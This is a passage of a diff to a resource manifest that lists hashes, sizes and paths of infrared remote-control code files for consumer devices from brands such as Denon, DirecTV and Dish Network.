+F:fb26a6798468678b204631940dfde5e2:14086:infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir +F:f6992719ffc66953a7569c217b120d50:1466:infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir +F:9e8d5771adc98ede14359a8df9608193:223:infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir +F:4a586974e4a1d7d453024fe52c735cff:233:infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir +F:c9246954747c5471cc7e042c1b5cbaa4:3097:infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir +F:78d3979015b7c94da49a73071b492e2b:1440:infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir +F:da3666161064f6eaba15a1e410661815:576:infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir +F:de5651ddf1f1523cf4be9f1cf05b8b5d:2714:infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir +F:7604c17d8cfccb43f5216239f684e3df:589:infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir +F:dcebf34aae8c9270e2f65d8944d6a5a1:2818:infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir +F:1bbd5cd178854a9543ee62d97ee874cb:7039:infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir +F:e207544b1ab6ab8773bb5c1e22d61c44:119:infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir +F:5356f01031b2126c5070264a0aabc5e9:2232:infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir +F:69558cfe10363b2aa39ae3c53c6ef231:936:infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir +F:9f6c78bdfb49dc089d76cfba492cf98c:1781:infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir +F:384d4b737e0a8688d2e7d8257922a218:15745:infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir +F:556038a8306dd770fc1329f79753d48f:3960:infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir +F:1fb0aff0056f3c77879a06edfae9400d:2940:infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir +F:d5e8a3e2dc7216a68421dd7691780417:1234:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir +F:769cf1816096f298a6da846e241f0f3c:1245:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir +F:66d65e176005d9d04fa226acc19939f0:3161:infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir +F:fa349b1c99d331e2f28e91a6f46a1385:5917:infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir +F:d5c68cb871613f099915b945da0b8833:685:infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir +F:33e2404597d64f582733cde70efb09d2:401:infrared/_CSV-IRDB_/Denon/Processor/4,1.ir +F:4c5e1ea69f5ef4a20481f0622158291e:129:infrared/_CSV-IRDB_/Denon/Processor/4,3.ir +F:ba37bed857712170a1a26ddc9e016330:129:infrared/_CSV-IRDB_/Denon/Processor/4,5.ir +F:e9448d2be9763006d129972939914352:12790:infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir +F:ae2ee391f1afdc7728bba419baf8381c:9828:infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir +F:717be35b789e4a3668ccef5170cab206:3797:infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir +F:72a92878e6d18e49f871af3c896c83dd:5152:infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir +F:bd6933928c6b1bc01a3505c93872b74e:19614:infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir +F:b0a202cb2ce792047df7a03ed4b91a9a:2814:infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir +F:4fd6c0f6809b50a19287e03508f37f4b:13670:infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir +F:7fef537fd42318cf601d3eaa65e7ddac:4107:infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir +F:b8d69b9b5312add96d5cf9517f67191c:9210:infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir +F:906d7bc307e47663675973c8c6b68f81:2191:infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir +F:602a952e395680c7804d20d0e7927689:2635:infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir +F:2ba1dcf67c0b68ca8adc761ac7c99630:2619:infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir +F:2f6669e4c014ad72df3676d098654286:5593:infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir +F:b732559173cf61bf480b56308fdc042a:3730:infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir +F:b41c6f84a751e2aefa163160ff945b72:3649:infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir +F:76227dfab6db5f8aa4f67812857c6c0f:9327:infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir +F:0b4e168fe0669ad5963bd75f617af934:636:infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir +F:2a7e70a6eec668547d878638df6c66f7:930:infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir +F:a9d1bc0d178f261d7e3c25e1897da025:133:infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir +F:ce1fa08a9138d47da1537f36ae8c28e7:4938:infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir +F:769cf1816096f298a6da846e241f0f3c:1245:infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir +F:1f3357a0cfc256244f6372052c311e3d:3325:infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir +F:3d5c646781a46be6a9bfee8f2a49fe6d:3224:infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir +F:3e19bf73db971f5d7a61758fd5a1a4a5:2333:infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir +F:f56bfd1857a4cc0be74690b8d47bfa44:2341:infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir +F:f426de8df7d75a7364cf8b5f88090609:2410:infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir +F:d2d7288527be7ddd0cb6dbd1691ea897:3490:infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir +F:9e314b4d79bfbcc276d21b1b69c28db1:4881:infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir +F:efcbc12cf047eb128f8e20d0fddcb80c:2776:infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir +F:a4d833f3f098bd12b38256b95882363c:3216:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir +F:eb0fa67051fc99f0ed4330175678fee4:3386:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir D:infrared/_CSV-IRDB_/Denver/Unknown_DVD-228 -F:1747b13639238598a7de4a99be2883ff:4282:infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir +F:336651d249102cff8fd1e5bf657c10d4:4010:infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir D:infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T D:infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T D:infrared/_CSV-IRDB_/Digiquest/DVB-T -F:c6942d3bd524cf6804da0f35ce90aaaf:3945:infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir -F:aad3956aa7a07f74c2cac67e05c1882d:3837:infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir -F:9de93a2ea8442b4f63bd269430dd820e:3197:infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir +F:672aa943ecc92bbfa8ed78a1dd3cf36b:3685:infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir +F:af908d1449a317887c7d19e1c03b6eb6:3583:infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir +F:76a1b1ea2bbddde1d8169318f44a368e:2985:infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir D:infrared/_CSV-IRDB_/Digital Music Expres/DMX -F:1fb1f9cb7b9bd99ad7f0e1b86a1bd507:2073:infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir +F:4819909fa99a7be9b3480ed9c376c5cf:1939:infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir D:infrared/_CSV-IRDB_/Digital Projection/Projector D:infrared/_CSV-IRDB_/Digital Projection/Video Projector D:infrared/_CSV-IRDB_/Digital Projection/Video Scaler -F:6e865a83a8b6ce487ed471d6315941fe:4223:infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir -F:0e94b6155235f9dee11467203b0791fd:7097:infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir -F:ba5568b3a6e1ac41ffa9c15b8d8ef123:2460:infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir +F:462adfd17a199faf0958e25e0072e85c:3951:infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir +F:bd8716d05349c7ad6e2cfdefb8a46321:6645:infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir +F:2b14b3879ee149c31615dcf96a1a4411:2302:infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir D:infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner D:infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream -F:aea335a7e7e0f64f6c5998c4512ac368:3276:infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir -F:ec399e2769a7aff95d63dd322b252c3c:3072:infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir +F:2bd4c0eb4acfe6146b3ffdf09fbf4a1e:3064:infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir +F:48a31409543ca9d28cd9cb71438bf9e8:2878:infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir D:infrared/_CSV-IRDB_/DigitalView/HDTV Tuner -F:06d3e881f2341a2f51ea46d6e11b66df:3048:infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir +F:428f89be4b42a8a6ddb16ef6f2b49f5f:2848:infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir D:infrared/_CSV-IRDB_/DirecTV/Basic Satellite D:infrared/_CSV-IRDB_/DirecTV/DSS D:infrared/_CSV-IRDB_/DirecTV/DVR @@ -2226,117 +2226,117 @@ D:infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100 D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC16 D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC32 D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC64 -F:437e6481eef7051b3ebd2401be6d2085:3836:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir -F:d250e630c69a5122a7fd39eae0017214:2328:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir -F:67d138632c20a1719a817f17d5f1a3cc:4913:infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir -F:444dc1d6b41cd31b43e4005c0827cd75:6713:infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir -F:85fe3b76c827d295c72d79ababd318a7:3343:infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir -F:7cf8687314bd7a2407bedbce8d2ce7bb:6201:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir -F:9d21165254e4a6d62c995c19615a8317:230:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir -F:c0a450a1f96ef41f63299b641b9395c0:4029:infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir -F:206b511f0c4eda51db6afe03fee18e19:7880:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir -F:665fe08f92d464dbdc2810b1a0c176fe:3888:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir -F:7226833293b0dd1857c39570c09a2a8f:4495:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir -F:b53021396453170174ee54c91388c8c6:4403:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir -F:117f534256d5112dc4682f86a9730c32:474:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir -F:109460479d3a81fdd66c584148eaee66:213:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir -F:9911f4bc79d51a75bdab5a952460eb69:3876:infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir -F:904129ea6ecc4e9384a2c33a4e3e1ecb:3881:infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir -F:63d34c8da5b0941b605882eaf1f67abe:4288:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir -F:93d16e611011254fc53b3d5eb0ee6e1b:3009:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir -F:ec7726f220e87432529b9bf8a22c8092:8370:infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir -F:761e6d27afbb9fbaa847b51407267ba7:4388:infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir -F:8dbf986698ea8ed0bb9b5bd94c693c32:126:infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir -F:b366c51b4278b76482a335ea70bd48a8:427:infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir -F:9d21165254e4a6d62c995c19615a8317:230:infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir -F:33dfd7ff3989f9a16667b7e4075f9887:3852:infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir -F:a4d1d43c026fdd4e9e5bf00ff708a0f5:3299:infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir -F:046d150a2e61478147f331769fbad03e:2378:infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir -F:d7d03c8a165b22ed3793fb1be3403c87:3736:infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir -F:385726c61794f8c5c829458fcd237fa0:3295:infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir -F:2501e7e032494ae024f05536acde90c1:4145:infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir +F:5e1b29fa43cbd5df3d8af64b1d2eaf31:3588:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir +F:648c6c11e607af14b2162c69522c35af:2176:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir +F:c3025c451a5a4a29b1bf03db933a81f3:4593:infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir +F:09977e6ba8a7bd6fcc0b91ebefffd817:6279:infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir +F:c077b58e36efbee8d877b56bb6eefeb9:3125:infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir +F:cb6e02113c21f00d10c258cb07262b29:5803:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir +F:dded803fd043a00c3aeb26cf78954882:216:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir +F:a27eb401c65165e82a6c15c24e5d75bf:3769:infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir +F:426f8faa86bd22b6ebdb5c88b34ef300:7374:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir +F:39ee8d3e14c6c3bfa51a4d5eeb9476c8:3634:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir +F:fd8fe1c57f50b67ee25d3b9c3b74bba0:4205:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir +F:e72c99b648c2d7559b58c7f080b61179:4119:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir +F:2bb07ee7628ada936b5b260b8ba7ed22:442:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir +F:b5d27d0cf9b6835ea61972195e7a2485:199:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir +F:eb258a6837effe6cfe65966695bf85b9:3622:infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir +F:987b60b1dea970b7f06636ca472f4419:3627:infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir +F:d446af7a701814b26253e8c56b40ea0b:4010:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir +F:b1b3782c0e74593ab86188f3d1f72a4d:2815:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir +F:d743ccb936eecbfeea6e651be2f03793:7834:infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir +F:2f011b370aa3f041d850b257ec056500:4104:infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir +F:f70befe76679be23ab9a98ce1721d3bc:118:infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir +F:544d11b4e5728eed6ee83c20b226a74b:401:infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir +F:dded803fd043a00c3aeb26cf78954882:216:infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir +F:2284822c11d4896ce06bcdac8e45a575:3598:infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir +F:ce834102e002d7a6b0a9dda81bb14aa3:3081:infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir +F:b42e81bc46e7290229da90509f4ac14b:2220:infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir +F:231e0ba2bc4bfac2657e293257d32202:3494:infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir +F:f0b6efd63f10fd6c6b53382edb263e10:3077:infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir +F:06fbe2a5624f553909ca953b742920e0:3885:infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir D:infrared/_CSV-IRDB_/Dish Network/Satelite DVR D:infrared/_CSV-IRDB_/Dish Network/Satellite -F:98aa20cf3bcfa56fffe3398bf7f429ee:3942:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir -F:b3e7399c63f660653c0647c6bd54a069:2485:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir -F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir -F:abc132787f2777e8ed4e5a10badb9977:10360:infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir -F:2fd3ff52a9a81fc1e8ba2fcbda7e2c4b:3649:infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir -F:e757536bb2bda1c142eb01270d799b85:2514:infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir -F:19880b5447fbfac7a6b2c32f53fc1428:2731:infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir -F:ef75bacdd8100e9d25111a6745fdf832:2731:infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir -F:72f914175e90689b3490685c4ec477eb:244:infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir -F:287fb24e869642347759d7f644d6ea44:4426:infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir -F:8f15b677579cfbae57f0a8e7cd2f734c:4203:infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir -F:b81022e86fc4d5545f7769a1bf7e5d8a:3761:infrared/_CSV-IRDB_/Dish Network/Satellite/0,6.ir -F:c6ebf7d2f8410c62b0dc296b2a15d517:4426:infrared/_CSV-IRDB_/Dish Network/Satellite/0,7.ir -F:1956a732805fd9bd11d8aa6017eaedcf:4721:infrared/_CSV-IRDB_/Dish Network/Satellite/1,0.ir -F:a68a63610ca85b86afc26a6fc5c5b7b1:419:infrared/_CSV-IRDB_/Dish Network/Satellite/1,1.ir -F:e4ff5cfa63edee900f31608a86823361:884:infrared/_CSV-IRDB_/Dish Network/Satellite/1,12.ir -F:fb9bf1ac3626cb6c0cecb955d7067d99:325:infrared/_CSV-IRDB_/Dish Network/Satellite/1,2.ir -F:678b4ed747854df4cd569f31b3a40b28:325:infrared/_CSV-IRDB_/Dish Network/Satellite/1,3.ir -F:9ba06233cf3903cb10f65b236afdabce:1737:infrared/_CSV-IRDB_/Dish Network/Satellite/1,4.ir -F:052078632369a93eb374a7c50d67cf26:1622:infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir -F:c46af721037d15ddd949e8e592d37e3e:1717:infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir -F:0806fcbdaa3fbb7e0a0c8ff681a643ef:1440:infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir -F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir -F:3590690bb0443c34344cceed087318ec:405:infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir -F:286859b302596fe55152dc948bb0955c:1143:infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir -F:9efbfbd43c2a74f2bc7a887cdd84418b:229:infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir -F:6f2f243e41a00c254597ef83d1e3a41d:129:infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir -F:44952a85d6dce02a3c028c74a0b90fa9:131:infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir -F:ad2b68aa3707bfcf214c4a69c7813818:320:infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir -F:2e135aa8144feb037ee8637d7854c068:223:infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir +F:ee4eff154b249d686b1aa30ecb07b3cd:3688:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir +F:2a70de7ab02bde195980eb99374270b4:2327:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir +F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir +F:ac8e1d5de888d9c932cecc24d135b2f9:9692:infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir +F:b6728f6d8a2b1844556073cb77588db9:3413:infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir +F:37109e51a49582265ae5bab52a4817f8:2350:infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir +F:9b89d3dd209d87a2e78e25e00c0c909e:2555:infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir +F:5e36e5cc1dcf008752b113e002b17d8a:2555:infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir +F:877acf9788edbaf5706cbaa4969ac704:230:infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir +F:a30738fe5da358d922d5a3e3e97f48dd:4142:infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir +F:02ec4f54f1fe0a5e87f0905cf9f01043:3931:infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir +F:93788659aa72017c308432f0d758523f:3519:infrared/_CSV-IRDB_/Dish Network/Satellite/0,6.ir +F:9517b901685f521debb4f40a81afe5f0:4142:infrared/_CSV-IRDB_/Dish Network/Satellite/0,7.ir +F:a6f082a3367d31c2a23c3b53cebb696b:4419:infrared/_CSV-IRDB_/Dish Network/Satellite/1,0.ir +F:a6d79dceac71ba377c798a000781dd6f:393:infrared/_CSV-IRDB_/Dish Network/Satellite/1,1.ir +F:0cf6714f1c4d92d89b9fb8208c1b2e8b:828:infrared/_CSV-IRDB_/Dish Network/Satellite/1,12.ir +F:058094d065e2a84ca0e77b621b437ce2:305:infrared/_CSV-IRDB_/Dish Network/Satellite/1,2.ir +F:a939251a48e85db8baef865ca2e19906:305:infrared/_CSV-IRDB_/Dish Network/Satellite/1,3.ir +F:115b1dfd070010e237ec51e1c113c915:1627:infrared/_CSV-IRDB_/Dish Network/Satellite/1,4.ir +F:719780ecd02137d9070b530c4bc823c7:1518:infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir +F:abb42886d8ab6a5eb9560b43fa443676:1607:infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir +F:65ef6da4dfa6f11963f966fc6cd4df79:1348:infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir +F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir +F:a2c5d78e8b80839136096d805b8a86ae:379:infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir +F:08f0034d4352258df91de7e2b0563925:1069:infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir +F:e47b6eaec1ea66a776ad3e454864df5f:215:infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir +F:77179f916ca3fb3aa18b5a34fbf0ab76:121:infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir +F:503c45288e973761bab90f5a0fb3ab0f:123:infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir +F:709a114cd1ecd5c8c52f8b629fb16096:300:infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir +F:1fed024d6ac4dae4f157483d53f6ce6f:209:infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir D:infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA -F:3908a31158012aedb0ffc1a54325f5ff:1648:infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir +F:e2a904dbb0d449098eeabca906c5f7af:1544:infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir D:infrared/_CSV-IRDB_/Draper/Dropdown Screen D:infrared/_CSV-IRDB_/Draper/Electric Screen D:infrared/_CSV-IRDB_/Draper/Screen -F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir -F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir -F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir -F:1b6e8846323abbae624f613013ee039f:310:infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir +F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir +F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir +F:d2131e72093071a0af1836423153e155:290:infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir +F:380764a8584bba8cd7f585d140a6a952:290:infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir D:infrared/_CSV-IRDB_/Dream/Satellite -F:e9c6725c8376d52dc2d8fc76a90f1adf:3395:infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir -F:2245ad58b4b4b4d8a77bd4555347cbc7:394:infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir -F:fd9ba6951c34565dc4ab7c59d8793939:134:infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir -F:650374a4f22a67538e7ccdb69f429d1e:584:infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir -F:2983f37268f5e72a1f1751062108e18b:12245:infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir -F:b1dfb1ae9691a4b72d37008223f4b5a6:224:infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir +F:35695d56182054487beb45cfaa4dc6fd:3183:infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir +F:5072e90f84f6d24d467debe1ed8256d6:368:infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir +F:08d296eccbd5d4489cee891ebb68b50c:126:infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir +F:ad05c44176a6979010440cbeaaa910ea:546:infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir +F:0bd53a27c17e4d3c994e4f795c61b585:11457:infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir +F:2e5b72d9eb09fd0a1917d349b72d115d:210:infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir D:infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562 -F:77da98f751294e36aa585c7e5c6176fb:2970:infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir +F:b377ae41479c5fdb9df08ffc5525180f:2782:infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir D:infrared/_CSV-IRDB_/Dream Vision/DLP Projector -F:4dcc8033721a0f18a26ab27502d80fb5:3899:infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir +F:81f988b5e54f52c0c1859de024249190:3651:infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir D:infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141 -F:c962f356f18e7a334f31be5804270e96:2985:infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir +F:670cf42311e4c969330c98b4077ebef4:2797:infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir D:infrared/_CSV-IRDB_/Dwin/Line Multiplier D:infrared/_CSV-IRDB_/Dwin/Plasma D:infrared/_CSV-IRDB_/Dwin/Projector D:infrared/_CSV-IRDB_/Dwin/TV D:infrared/_CSV-IRDB_/Dwin/Video Processor D:infrared/_CSV-IRDB_/Dwin/Video Projector -F:e12bc769bdf8c41255e01abff8ac5d41:3135:infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir -F:33396afeb22d888d0e57e760f77bdaf4:2077:infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir 